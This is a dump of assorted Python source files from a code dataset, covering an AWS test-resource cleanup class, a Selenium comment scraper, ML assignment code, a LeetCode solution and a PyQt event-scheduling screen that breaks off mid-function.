serializer = RecordSerializer(record, many=True)\n return Response(serializer.data, status=status.HTTP_200_OK)\n return Response(0, status=status.HTTP_200_OK)\n else:\n records = Record.objects.filter(user=request.user.id)\n serializer = RecordSerializer(records, many=True)\n return Response(serializer.data, status=status.HTTP_200_OK)\n else:\n return Response(0, status=status.HTTP_401_UNAUTHORIZED)\n","sub_path":"ctr/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"160761193","text":"#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n# authors:\n# Tony Vattathil , \n# Santiago Cardenas , \n# Shivansh Singh ,\n# Jay McConnell ,\n# Andrew Glenn \nfrom __future__ import print_function\nimport botocore\nfrom botocore.exceptions import ClientError\nimport logging\n\ndebug = ''\nerror = ''\ncheck = ''\nfail = ''\ninfo = ''\nheader = '\\x1b[1;41;0m'\nhightlight = '\\x1b[0;30;47m'\nname_color = '\\x1b[0;37;44m'\naqua = '\\x1b[0;30;46m'\ngreen = '\\x1b[0;30;42m'\nwhite = '\\x1b[0;30;47m'\norange = '\\x1b[0;30;43m'\nred = '\\x1b[0;30;41m'\nrst_color = '\\x1b[0m'\nE = '{1}[ERROR {0} ]{2} :'.format(error, red, rst_color)\nD = '{1}[DEBUG {0} ]{2} :'.format(debug, aqua, rst_color)\nP = '{1}[PASS {0} ]{2} :'.format(check, green, rst_color)\nF = '{1}[FAIL {0} ]{2} :'.format(fail, red, rst_color)\nI = '{1}[INFO {0} ]{2} :'.format(info, orange, rst_color)\n\n# create logger\nlogger = logging.getLogger('Reaper')\nlogger.setLevel(logging.DEBUG)\n\n# create console handler and set level to debug\nch = logging.StreamHandler()\nch.setLevel(logging.DEBUG)\n\n# create formatter\nformatter = logging.Formatter(\n '%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n\n# add formatter to ch\nch.setFormatter(formatter)\n\n# add ch to logger\nlogger.addHandler(ch)\n\n\n# Reaper class provide functions to delete the AWS resources as per the\n# defined rules.\n\n\n# noinspection PyUnresolvedReferences,PyUnresolvedReferences,PyUnresolvedReferences,PyUnresolvedReferences\nclass Reaper(object):\n # Given an s3 bucket name, this function deletes all the versions of the bucket\n # Param:\n # bucket_name - Name of the bucket to delete\n\n def __delete_s3_bucket(self, bucket_name):\n s3_resource = self.session.resource('s3')\n logger.info('Working on bucket [%s]', bucket_name)\n bucket_resource = s3_resource.Bucket(bucket_name)\n logger.info(\"Getting and deleting all object versions\")\n try:\n object_versions = bucket_resource.object_versions.all()\n for object_version in object_versions:\n # TODO: Delete sets of 1000 object versions to reduce delete\n # requests\n object_version.delete()\n except ClientError as e:\n if e.response['Error']['Code'] == 'AccessDenied':\n logger.warning(\"Unable to delete object versions. (AccessDenied)\")\n if e.response['Error']['Code'] == 'NoSuchBucket':\n logger.warning(\"Unable to get versions. (NoSuchBucket)\")\n else:\n print(e)\n logger.info('Deleting bucket [%s]', bucket_name)\n try:\n bucket_resource.delete()\n except botocore.exceptions.ClientError as e:\n if e.response['Error']['Code'] == 'NoSuchBucket':\n logger.warning(\"Bucket was already deleted. (NoSuchBucket)\")\n else:\n print(e)\n\n # Given a volume id, this function deletes the volume with given id\n # Param:\n # volume_id - Id of the volume to be deleted\n\n def __delete_volume(self, volume_id):\n ec2_client = self.session.client('ec2')\n logger.info('Deleting EBS Volume [%s]', volume_id)\n try:\n ec2_client.delete_volume(VolumeId=volume_id)\n except ClientError as e:\n if e.response['Error']['Code'] == 'AccessDenied':\n logger.warning(\"Unable to delete volume. (AccessDenied)\")\n else:\n print(e)\n\n # Given a Security Group Id, this function deletes the security group with given Id.\n # Param:\n # sg_id - Id of the Security Group which needs to be deleted\n\n def __delete_sg(self, sg_id):\n ec2_client = self.session.client('ec2')\n logger.info('Deleting Security Group [%s]', sg_id)\n try:\n ec2_client.delete_security_group(GroupId=sg_id)\n except ClientError as e:\n if e.response['Error']['Code'] == 'InvalidGroup.InUse':\n logger.warning(\"Unable to delete Security group. It is in-use.\")\n if e.response['Error']['Code'] == 'InvalidGroup.NotFound':\n logger.warning(\n \"Unable to delete Security group. (not found).\")\n else:\n print(e)\n\n # Given a list of dictionary items where each dictionary item contains a resource list,\n # this function deletes all the resources given.\n # Param:\n # list - List of dictionary items in the format shown below\n #\n # [\n # {\n # 'stackId': 'string',\n # 'resources': [\n # {\n # 'logicalId': 'string',\n # 'physicalId': 'string',\n # 'resourceType': 'String'\n # },\n # ]\n # },\n # ]\n\n def delete_all(self, stack_list):\n logger.info(\"Deleting all resources\")\n for stack in stack_list:\n for resource in stack['resources']:\n self.__delete_resource(\n resource['logicalId'], resource['resourceType'], resource['physicalId'])\n\n # Give a resource logical id and resource type, this function deletes the resource\n # Param:\n # lid - logical id of the resource to be deleted\n # type - resource type\n\n def __delete_resource(self, lid, rtype, pid):\n if rtype == \"AWS::EC2::SecurityGroup\":\n logger.debug(\"Found Security Group resource\")\n self.__delete_sg(lid)\n if rtype == \"AWS::EC2::Volume\":\n logger.debug(\"Found Volume resource\")\n self.__delete_volume(lid)\n if rtype == \"AWS::S3::Bucket\":\n logger.debug(\"Found Bucket resource\")\n self.__delete_s3_bucket(pid)\n\n # Constructor\n\n def __init__(self, session):\n self.session = session\n","sub_path":"taskcat/reaper.py","file_name":"reaper.py","file_ext":"py","file_size_in_byte":5979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"578808168","text":"from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom time import sleep\n\n\ndef print_comment(comment):\n print(\"---------- Start Comment ----------\")\n print(comment.text.encode(\"utf-8\"))\n print(\"---------- End Comment ----------\\n\")\n\n\ndef print_reply(reply):\n print(\"\\t---------- Start Reply ----------\")\n print(reply.text.encode(\"utf-8\"))\n print(\"\\t---------- End Reply ----------\\n\")\n\n\n# setup webdriver\nwd = webdriver.Chrome(\n executable_path='../../../geckoDriver/chromedriver.exe')\n\n# get website & search for giants\nwd.get(\"https://www.youtube.com/watch?v=sULa9Lc4pck\")\nsleep(5)\n\ntitle = wd.find_element_by_id(\"search\")\n\nattempts = 0\ncomment_cache_length = 0\ncomments = []\n\ntry:\n # loop through all the 1st tier comments and store them in an array\n while len(comments) == 0 or comment_cache_length != len(comments) or attempts < 5:\n comment_cache_length = len(comments)\n comments = wd.find_elements_by_css_selector(\n \"ytd-comment-thread-renderer\")\n title.send_keys(Keys.PAGE_DOWN)\n title.send_keys(Keys.PAGE_DOWN)\n title.send_keys(Keys.PAGE_DOWN)\n sleep(1)\n if comment_cache_length == len(comments):\n attempts = attempts + 1\n else:\n attempts = 0\n reply_buttons = wd.find_elements_by_xpath(\n \"//yt-icon[@icon='yt-icons:expand-more']\")\n\n # move to top of page so that it can find all the replies\n action = ActionChains(wd)\n action.move_to_element(wd.find_element_by_css_selector(\"h1.title\"))\n action.pause(1)\n action.perform()\n\n # move to all the replies and click on them\n for button in reply_buttons:\n action = ActionChains(wd)\n action.move_to_element(button)\n action.pause(1)\n action.click()\n action.pause(1)\n action.perform()\n\n # print all the comments and their replies\n comment_threads = wd.find_elements_by_css_selector(\n \"#contents > ytd-comment-thread-renderer\")\n for thread in comment_threads:\n comment = thread.find_element_by_id(\n \"comment\").find_element_by_id(\"content-text\")\n print_comment(comment)\n replies = []\n try:\n replies = thread.find_element_by_id(\n \"replies\").find_elements_by_id(\"content-text\")\n for reply in replies:\n print_reply(reply)\n finally:\n print(\"\")\n\n\nfinally:\n print(\"\\n\\nDone\")\n wd.quit()\n","sub_path":"Python/Selenium/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":2541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"588888816","text":"\n\nfrom xai.brain.wordbase.nouns._disco import _DISCO\n\n#calss header\nclass _DISCOS(_DISCO, ):\n\tdef __init__(self,): \n\t\t_DISCO.__init__(self)\n\t\tself.name = \"DISCOS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"disco\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_discos.py","file_name":"_discos.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"266958263","text":"from pymisc.reader import IReader, CSVReader, DataManager, NewFieldFilter\n\ndef test_csv():\n test = CSVReader.create({'path': 'data/iris.csv'})\n print(test.get_header())\n test.set_header(['SPECIES','SEPALWID'])\n while 1:\n res = test.read()\n if not res:\n break\n print(res)\n\ndef test_datamanager():\n print(IReader.support_formats())\n obj = DataManager.connect({'path': 'data/iris.csv', 'type': 'csv'})\n obj = NewFieldFilter(obj, 'test', lambda line: float(line[0]) + float(line[1]))\n print(obj.get_header())\n print(obj.read())\n\nif __name__ == \"__main__\":\n test_csv()\n test_datamanager()\n\n","sub_path":"examples/test_reader.py","file_name":"test_reader.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"221761528","text":"import redis\nfrom pymongo import MongoClient\nimport random\n\nclient = MongoClient('localhost', 27017)\ndb = client['lagou']\nused_IDS = []\nfor item in db.jobs.find():\n used_IDS.append(item.get('ID'))\n\nused_IDS = set(used_IDS)\n\nr = redis.Redis(host='127.0.0.1', port=6379)\n\ndef main():\n j = 0\n while True:\n i = random.randrange(800000, 2000000)\n if j >= 22222:\n return\n if str(i) not in used_IDS:\n j += 1\n url = \"https://www.lagou.com/jobs/{0}.html\".format(i)\n r.lpush('lagou:start_urls', url)\n used_IDS.add(str(i))\n\nif __name__ == '__main__':\n main()\n","sub_path":"毕设/utils/insert_redis.py","file_name":"insert_redis.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"475169513","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Aug 20 18:39:11 2017\r\nFunctions for plotting images stored in vectors.\r\n\r\n@author: carlos, Brett\r\n\"\"\"\r\nimport matplotlib.pyplot as plt\r\n\r\n\"\"\"\r\nPlots a vector on the screen using grayscale. The parameter\r\nimage_shape is used to reshape the vector into a 2-dimensional image.\r\nThe image is also saved to a PDF file title.pdf.\r\n\"\"\"\r\ndef plot_image(image,title,image_shape=(28,28)):\r\n plt.figure()\r\n plt.imshow(image.reshape(image_shape), cmap=plt.cm.gray_r,\r\n interpolation='nearest',\r\n vmin=image.min(), vmax=image.max())\r\n plt.title(title)\r\n plt.xticks(())\r\n plt.yticks(())\r\n plt.savefig(title + '.pdf',bbox_inches='tight')\r\n plt.show()\r\n\r\n\"\"\"\r\nPlots a list of vectors on the screen in a grid with n_col columns\r\nand n_row rows. The resulting grid is saved in the file title.pdf.\r\nIf bycol is True, then the images are laid out by columns instead of by rows.\r\nSupports optional row_titles and column_titles given as lists of strings.\r\n\"\"\"\r\ndef plot_image_grid(images, title, image_shape=(28,28),n_col=5, n_row=2, bycol=0, row_titles=None,col_titles=None):\r\n fig,axes = plt.subplots(nrows=n_row,ncols=n_col,figsize=(2. * n_col, 2.26 * n_row))\r\n for i, comp in enumerate(images):\r\n row,col = reversed(divmod(i,n_row)) if bycol else divmod(i,n_col) \r\n cax = axes[row,col]\r\n cax.imshow(comp.reshape(image_shape), cmap=plt.cm.gray_r,\r\n interpolation='nearest',\r\n vmin=comp.min(), vmax=comp.max())\r\n cax.set_xticks(())\r\n cax.set_yticks(())\r\n if row_titles is not None :\r\n for ax,row in zip(axes[:,0],row_titles) :\r\n ax.set_ylabel(row,size='large')\r\n if col_titles is not None :\r\n for ax,col in zip(axes[0],col_titles) :\r\n ax.set_title(col)\r\n \r\n fig.suptitle(title)\r\n fig.tight_layout()\r\n plt.subplots_adjust(top=0.9)\r\n plt.savefig(title + '.pdf',bbox_inches='tight')\r\n plt.show()\r\n","sub_path":"Denoising/plot_tools.py","file_name":"plot_tools.py","file_ext":"py","file_size_in_byte":2021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"192863376","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn import svm\n\n\ndef plotData(X, y):\n # plots the data points with o for the positive examples and x for the negative examples. output is saved to file graph.png\n fig, ax = plt.subplots(figsize=(12, 8))\n ##### insert your code here #####\n\n ax.set_xlabel('Test 1')\n ax.set_ylabel('Test 2')\n fig.savefig('graph.png')\n\n\ndef predict(X, theta):\n X_dot_theta = np.dot(X, theta)\n pred = np.sign(X_dot_theta)\n return pred\n\n\ndef computeCost(X, y, theta, lambd):\n theta_sqr = np.dot(theta, theta)\n lm_th = np.dot(lambd, theta_sqr)\n m = len(y)\n cost = sum([1 - y[i] * np.dot(X[i], theta) if 1 - y[i] * np.dot(X[i], theta) > 0 else 0 for i in\n range(0, m)])\n cost += lm_th\n return cost/m\n\n\ndef computeGradient(X, y, theta, lambd):\n n, m = len(theta), len(y)\n grad = np.array([(2 * lambd * theta[j]) - (1 / m) * np.sum(\n [y[i] * X[i][j] if y[i] * np.dot(X[i], theta) <= 1 else 0 for i in range(0, m)]) for j in range(0, n)])\n return grad\n\n\ndef gradientDescent(X, y, theta, lambd):\n # iteratively update parameter vector theta\n\n # initialize variables for learning rate and iterations\n alpha = 0.02\n iters = 5000\n cost = np.zeros(iters)\n (m, n) = X.shape\n theta = np.zeros(n)\n # let's use a reasonable starting point for theta (the value we obtained in the logistic regression assignment)\n #theta=[3.08,2.97,3.69,-5.36]\n\n for i in range(iters):\n theta = theta - alpha * computeGradient(X, y, theta, lambd)\n cost[i] = computeCost(X, y, theta, lambd)\n print(theta)\n return theta, cost\n\n\ndef normaliseData(x):\n # rescale data to lie between 0 and 1\n scale = x.max(axis=0)\n return (x/scale, scale)\n\n\ndef addQuadraticFeature(X):\n return np.column_stack((X, X[:, 0] * X[:, 0]))\n\n\ndef computeScore(X, y, preds):\n return np.sum(preds == y)\n\n\ndef plotDecisionBoundary(Xt, y, Xscale, theta):\n # plots the training data plus the decision boundary in the model\n fig, ax = plt.subplots(figsize=(12, 8))\n # plot the data\n positive = y > 0\n negative = y < 0\n ax.scatter(Xt[positive, 1]*Xscale[1], Xt[positive, 2] *\n Xscale[2], c='b', marker='o', label='Healthy')\n ax.scatter(Xt[negative, 1]*Xscale[1], Xt[negative, 2] *\n Xscale[2], c='r', marker='x', label='Not Healthy')\n # calc the decision boundary\n x = np.linspace(Xt[:, 2].min()*Xscale[2], Xt[:, 2].max()*Xscale[2], 50)\n if (len(theta) == 3):\n # linear boundary\n x2 = -(theta[0]/Xscale[0]+theta[1]*x/Xscale[1])/theta[2]*Xscale[2]\n else:\n # quadratic boundary\n x2 = -(theta[0]/Xscale[0]+theta[1]*x/Xscale[1]+theta[3]\n * np.square(x)/Xscale[3])/theta[2]*Xscale[2]\n # and plot it\n ax.plot(x, x2, label='Decision boundary')\n ax.legend()\n ax.set_xlabel('Test 1')\n ax.set_ylabel('Test 2')\n fig.savefig('pred.png')\n\n\ndef plotDecisionBoundary2(Xt, y, Xscale, model):\n # plots the training data plus the decision boundary when using a kernel SVM\n fig, ax = plt.subplots(figsize=(12, 8))\n # plot the data\n positive = y > 0\n negative = y < 0\n ax.scatter(Xt[positive, 1]*Xscale[1], Xt[positive, 2] *\n Xscale[2], c='b', marker='o', label='Healthy')\n ax.scatter(Xt[negative, 1]*Xscale[1], Xt[negative, 2] *\n Xscale[2], c='r', marker='x', label='Not Healthy')\n # calc the decision boundary\n x_min, x_max = Xt.min() - 0.1, Xt.max() + 0.1\n y_min, y_max = y.min() - 0.1, y.max() + 0.1\n xx, yy = np.meshgrid(np.arange(x_min, x_max, 0.05),\n np.arange(y_min, y_max, 0.05))\n Z = model.predict(np.column_stack(\n (np.ones(xx.ravel().shape), xx.ravel(), yy.ravel(), np.square(xx.ravel()))))\n Z = Z.reshape(xx.shape)\n ax.contour(xx*Xscale[1], yy*Xscale[2], Z)\n ax.legend()\n ax.set_xlabel('Test 1')\n ax.set_ylabel('Test 2')\n fig.savefig('pred2.png')\n\n\ndef main():\n # load the training data\n data = np.loadtxt('health.csv')\n X = data[:, [0, 1]]\n y = data[:, 2]\n X = addQuadraticFeature(X)\n\n # and plot it so we can see how it looks\n plotData(X, y)\n\n # add a column of ones to input data\n m = len(y)\n Xt = np.column_stack((np.ones((m, 1)), X))\n (m, n) = Xt.shape # m is number of data points, n number of features\n\n # rescale training data to lie between 0 and 1\n (Xt, Xscale) = normaliseData(Xt)\n\n lambd = 1\n\n print('testing the prediction function ...')\n theta = np.arange(1, n+1)\n print('when x=[1,1,1] and theta is [1,2,3]) predictions = ',\n predict(np.ones(n), theta))\n print('when x=[-1,-1,-1] and theta is [1,2,3]) prediction = ',\n predict(-np.ones(n), theta))\n print('approx expected predictions are 1 and -1')\n input('Press Enter to continue...')\n print('testing the cost function ...')\n theta = np.zeros(n)\n print('when theta is zero cost = ', computeCost(Xt, y, theta, lambd))\n print('approx expected cost value is 1.0')\n input('Press Enter to continue...')\n\n # calculate the gradient when theta is zero\n print('testing the gradient function ...')\n print('when theta is zero gradient = ', computeGradient(Xt, y, theta, lambd))\n print('approx expected gradient value is [-0.049,-0.074,-0.099,0.086]')\n input('Press Enter to continue...')\n\n # perform gradient descent to \"fit\" the model parameters\n print('running gradient descent ...')\n theta, cost = gradientDescent(Xt, y, theta, lambd)\n print('after running gradientDescent() theta=', theta)\n print(\n 'approx expected value is [3.08,2.97,3.69,-5.36], or values with about the same ratio')\n\n plotDecisionBoundary(Xt, y, Xscale, theta)\n preds = predict(Xt, theta)\n score = computeScore(Xt, y, preds)\n print('accuracy = {0:.2f}%'.format(score/len(y)*100))\n print('expected value is about 78%')\n\n model = svm.SVC(C=0.5, gamma=0.75, kernel='rbf')\n model.fit(Xt, y)\n plotDecisionBoundary2(Xt, y, Xscale, model)\n preds = model.predict(Xt)\n score = computeScore(Xt, y, preds)\n print('accuracy = {0:.2f}%'.format(score/len(y)*100))\n print('expected value is about 78%')\n\n # plot how the cost varies as the gradient descent proceeds\n fig2, ax2 = plt.subplots(figsize=(12, 8))\n ax2.semilogy(cost, 'r')\n ax2.set_xlabel('iteration')\n ax2.set_ylabel('cost')\n fig2.savefig('cost.png')\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"SVM/SVM.py","file_name":"SVM.py","file_ext":"py","file_size_in_byte":6191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"348612804","text":"import os.path as op\nimport tables\nimport numpy as np\nfrom sklearn.preprocessing import StandardScaler\n\nhemi = 'rh' # data from left hemisphere or right hemisphere\nmethod = 'transfer' # 'transfer', 'multi' or 'multi2', different cross validation methods\nclf_name = 'logis' # 'logis' for logistic regresion, 'svm' for svm\nnor_name = 'stand' # 'stand' for StandardScaler\nsplit_nb = 1000 # number of the cross validation splits\nnb_samples_each = 40\n\ntry:\n result_dir = '/home/qiwang/Downloads'\n proj_dir = result_dir+ '/wang.q/data/100_subjects_voice_classification/'\n # get data\n data_dir = proj_dir + 'data/'\n data_path = op.join(data_dir, '{}.100subjects_data.h5'.format(hemi))\n h5file = tables.open_file(data_path, driver='H5FD_CORE')\nexcept:\n result_dir = '/hpc/crise'\n proj_dir = result_dir + '/wang.q/data/100_subjects_voice_classification/'\n # get data\n data_dir = proj_dir + 'data/'\n data_path = op.join(data_dir, '{}.100subjects_data.h5'.format(hemi))\n h5file = tables.open_file(data_path, driver='H5FD_CORE')\n\ndata = h5file.root.data[:]\ny_class = h5file.root.y_class[:]\nsubjects = h5file.root.subjects[:]\nh5file.close()\nn_samples, n_x, n_y = data.shape\nx_data = data.reshape(n_samples, n_x * n_y)\ny_target = np.array([1 if i == b'VO' else 0 for i in y_class])\nnew_subjects = []\nfor i,subject in enumerate(np.unique(subjects)):\n index = [i+1 for j in subjects if j==subject]\n new_subjects += index\nsubjects = np.array(new_subjects)\n# index_sujbects:[[0,1,...39],[40,...79]...]\nindex_subjects = []\nfor subject in np.unique(subjects):\n index = [i for i, j in enumerate(subjects) if j==subject]\n index_subjects.append(index)\n\nx_indi = np.empty(x_data.shape)\nfor j in range(int(x_data.shape[0]/nb_samples_each)):\n start = j * nb_samples_each\n end = start + nb_samples_each\n x_indi[start:end] = StandardScaler().fit_transform(x_data[start:end])\n# abstract cross validation splits\ncv_name = 'data/{0}_{1}splits.npy'.format(method, split_nb)\ncross_val = np.load(proj_dir + cv_name)\ncross_v = []\nfor train_index, test_index in cross_val:\n cross_v.append((train_index, test_index))\n\n\n","sub_path":"data/fmri_data_cv_rh.py","file_name":"fmri_data_cv_rh.py","file_ext":"py","file_size_in_byte":2153,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"8093589","text":"class Solution:\n def findMedianSortedArrays(self, nums1, nums2):\n \"\"\"\n :type nums1: List[int]\n :type nums2: List[int]\n :rtype: float\n \"\"\"\n m = len(nums1)\n n = len(nums2)\n if (m + n) % 2 == 0:\n k1 = (m + n) // 2\n k2 = k1 + 1\n min1 = self.find_kth_min(nums1, nums2, k1)\n min2 = self.find_kth_min(nums1, nums2, k2)\n return (min1 + min2) / 2\n else:\n k1 = (m + n) // 2 + 1\n return self.find_kth_min(nums1, nums2, k1)\n\n def find_kth_min(self, nums1, nums2, k):\n m = len(nums1)\n n = len(nums2)\n if m > n:\n nums1, nums2 = nums2, nums1\n m, n = n, m\n if m == 0:\n if n == 0:\n return float(0)\n return float(nums2[k - 1])\n if k == 1:\n return float(min(nums1[0], nums2[0]))\n len1 = k // 2\n len2 = k - len1\n if len1 > m:\n len1 = m\n len2 = k - m\n if nums1[len1 - 1] == nums2[len2 - 1]:\n return nums1[len1 - 1]\n elif nums1[len1 - 1] < nums2[len2 - 1]:\n return self.find_kth_min(nums1[len1:], nums2, k - len1)\n else:\n return self.find_kth_min(nums1, nums2[len2:], k - len2)\n","sub_path":"4_median_of_two_sorted_arrays.py","file_name":"4_median_of_two_sorted_arrays.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"589570927","text":"class CreateEventScreen(QtGui.QMainWindow, AEWindow):\n def __init__(self, parent=None):\n QtGui.QMainWindow.__init__(self, parent)\n self.setupUi(self)\n self.ListTeach = []\n self.ListPart = []\n self.studcount = 0\n self.ReturnButton.clicked.connect(lambda: returntostart(self))\n self.SFY_Confirm_Button.clicked.connect(\n lambda: self.ListPart.append(self.getlistpart(self.SFY_Input.text())))\n self.T_Confirm_Button.clicked.connect(\n lambda: self.ListTeach.append(self.getlistteach(self.T_Input.text())))\n self.AddButton.clicked.connect(self.addevent)\n self.PartData = None\n self.Etype = None\n self.TeachData = None\n self.date = None\n self.timestart = None\n self.duration = None\n self.description = None\n self.EtypeID = None\n self.eventid = None\n self.tlb = None\n self.STUDID = None\n self.tub = None\n self.TEACHID = None\n\n def getlistpart(self, inp):\n self.Etype = \"\"\n if self.S_Rad.isChecked():\n self.Etype = \"Student\"\n if self.F_Rad.isChecked():\n self.Etype = \"Form\"\n if self.Y_Rad.isChecked():\n self.Etype = \"Year\"\n self.PartData = []\n if self.Etype == \"Student\":\n inp = inp.split()\n if inp[0] == \"\":\n self.OutputLabel.setText(\"Invalid Name\")\n QtGui.QMessageBox.information(self, \"Error\", \"Invalid Name\")\n self.SFY_Input.setText(\"\")\n try:\n cmd = 'SELECT StudentID FROM Students WHERE Forename =? AND Surname = ?'\n cur.execute(cmd, (inp[0], inp[1],))\n except:\n cmd = 'SELECT StudentID FROM Students WHERE Username = ?'\n cur.execute(cmd, (inp[0],))\n checkdata = cur.fetchall()\n if not checkdata:\n print(\"No user with that name\")\n QtGui.QMessageBox.information(self, \"Error\", \"No such user\")\n else:\n if self.PartData.__contains__(inp):\n QtGui.QMessageBox.information(self, \"Error\", \"Participant already present\")\n print(\"Person already added\")\n else:\n self.studcount += 1\n return checkdata\n if self.Etype == \"Form\":\n if inp == \"\":\n QtGui.QMessageBox.information(self, \"Error\", \"No such form\")\n self.SFY_Input.setText(\"\")\n cmd = 'SELECT FormID FROM Forms WHERE Form_Name LIKE ?'\n cur.execute(cmd, (inp,))\n checkdata = cur.fetchall() ##for EType being form or above need iterative function to generate database\n if not checkdata: ##entries where it goes through every student who is a member of those groups\n print(\"NO SUCH FORM\")\n QtGui.QMessageBox.information(self, \"Error\", \"No such form\")\n else:\n cmd = 'SELECT StudentID FROM Students WHERE FormID = ?'\n print(\"FORMCHECKDATA\", checkdata)\n cur.execute(cmd, (checkdata[0][0],))\n studdata = cur.fetchall()\n self.studcount += len(studdata[0])\n\n return studdata\n\n # self.PartData.append(inp)\n\n if self.Etype == \"Year\":\n if inp == \"\":\n QtGui.QMessageBox.information(self, \"Invalid Year Entry\", \"Invalid Year Entry\")\n self.SFY_Input.setText(\"\")\n cmd = 'SELECT YearID FROM Years WHERE \"Year\" =?'\n cur.execute(cmd, (inp,))\n ydata = cur.fetchall()\n if not ydata:\n QtGui.QMessageBox.information(self, \"Error\", \"No Such Year Group\")\n print(\"No Such Year Group\")\n cmd = 'SELECT StudentID FROM Students WHERE YearID =?'\n cur.execute(cmd, (ydata[0]))\n studdata = cur.fetchall()\n self.studcount += len(studdata[0])\n return studdata\n\n def getlistteach(self, inp):\n if self.T_Rad.isChecked():\n self.Etype = \"Teacher\"\n self.T_Input.setText(\"\")\n self.TeachData = []\n inp = inp.split()\n print(inp)\n if inp[0] == \"\":\n QtGui.QMessageBox.information(self, \"Invalid Name\", \"Invalid Name\")\n if len(inp) == 1:\n cmd = 'SELECT TeacherID FROM Teachers WHERE Username = ?'\n cur.execute(cmd, (inp[0],))\n else:\n cmd = 'SELECT TeacherID FROM Teachers WHERE Forename = ? AND Surname = ?'\n cur.execute(cmd, (inp[0], inp[1],))\n checkdata = cur.fetchall()\n print(checkdata)\n if not checkdata:\n print(\"No such member of staff\")\n QtGui.QMessageBox.information(self, \"No such member of staff\", \"No such Member of Staff\")\n else:\n self.TeachData.append(inp)\n return checkdata\n\n def addevent(self): ###triggered when addevent button is clicked\n print(self.ListPart, self.ListTeach)\n # iteratively goes through each in the list of students andor\n # teachers and adds an associated commitment linked to their account\n cmd = 'SELECT RoomID FROM Rooms WHERE RoomNameNumber = ?'\n cur.execute(cmd, (self.RoomEntry.text(),))\n RoomID = cur.fetchall()\n print(\"ROOMID\", RoomID)\n if self.IE_Rad.isChecked():\n self.EtypeID = 1\n if self.EE_Rad.isChecked():\n self.EtypeID = 2\n if self.D_Rad.isChecked():\n self.EtypeID = 3\n self.date = str((self.DateIn.date()).toPyDate())\n self.timestart = str((self.TimeStart.time()).toPyTime())\n self.duration = self.DurationIn.text()\n self.description = str(self.Desc_Box.toPlainText())\n\n cmd = 'SELECT EventID FROM Events'\n cur.execute(cmd)\n etempdata = cur.fetchall()\n print(etempdata)\n etempdata = etempdata[-1:][0]\n print(etempdata)\n self.eventid = int(etempdata[0]) + 1\n if not RoomID:\n RoomID = 5\n cmd = 'INSERT INTO Events (EventID, RoomID, TypeID, \"Date\", \"Time\", Description, Duration)' \\\n ' VALUES (?,?,?,?,?,?,?)'\n cur.execute(cmd,\n (self.eventid, RoomID[0][0], self.EtypeID, self.date, self.timestart, self.description,\n self.duration,))\n con.commit()\n print(self.ListPart)\n if self.Etype == \"Teacher\":\n self.add_teachers()\n if self.Etype != \"Teacher\" and self.studcount != 0:\n self.add_students()\n self.add_teachers()\n if self.Etype != \"Teacher\" and self.studcount == 0:\n QtGui.QMessageBox.information(self, \"Error\", \"No students to add\")\n print(\"No students to add\")\n\n def add_students(self):\n print(self.ListPart)\n for Student in self.ListPart[0]: ##CONTWORK Make this work for forms, years etc.\n if Student:\n print(Student, \"THIS IS THE STUDENT DATA \")\n self.STUDID = Student\n cmd = 'SELECT ComID FROM CommitmentsStudent'\n cur.execute(cmd)\n tempdata = cur.fetchall()\n x = tempdata[-1:][0][0]\n x = int(x) + 1\n cmd = 'SELECT * FROM Events JOIN CommitmentsStudent WHERE Events.EventID = ' \\\n '(SELECT CommitmentsStudent.EventID WHERE CommitmentsStudent.StudentID = ?)' \\\n ' AND Events.Date = ? AND Events.Time BETWEEN ? AND ?'\n self.tlb = self.timestart\n datetime_object = datetime.strptime(self.timestart, \"%H:%M:%S\")\n self.tub = datetime_object + timedelta(minutes=int(self.duration))\n self.tub = self.tub.time()\n self.tub = str(self.tub)\n cur.execute(cmd, (Student[0], self.date, self.tlb, self.tub,))\n print(Student[0], self.date, self.tlb, self.tub)\n checkdata = cur.fetchall()\n print(checkdata, \"Fin is a Finlei\")\n if checkdata:\n if self.EtypeID == 3:\n if checkdata[2] == 3:\n error_string = \"User % has a double detention\"\n error_string = error_string.replace(\"%\", str(Student[0]))\n QtGui.QMessageBox.information(self, \"Error\", error_string)\n print(\"DOUBLE DETENTION\")\n pass\n else:\n cmd = 'INSERT INTO CommitmentsStudent (ComID, StudentID, EventID) VALUES (?,?,?)'\n print(((len(tempdata)), Student, self.eventid))\n cur.execute(cmd, (x, Student[0],\n self.eventid), ) # PossFeature Add check to see if they want to override with detention\n cmd = 'DELETE FROM CommitmentsStudent WHERE EventID = ?'\n cur.execute(cmd, (checkdata[0],))\n con.commit()\n else:\n error_string = \"User % has a double event\"\n error_string = error_string.replace(\"%\", str(Student[0]))\n QtGui.QMessageBox.information(self, \"Error\", error_string)\n print(\"DOUBLE EVENT\")\n pass\n else:\n cmd = 'INSERT INTO CommitmentsStudent (ComID, StudentID, EventID) VALUES (?,?,?)'\n 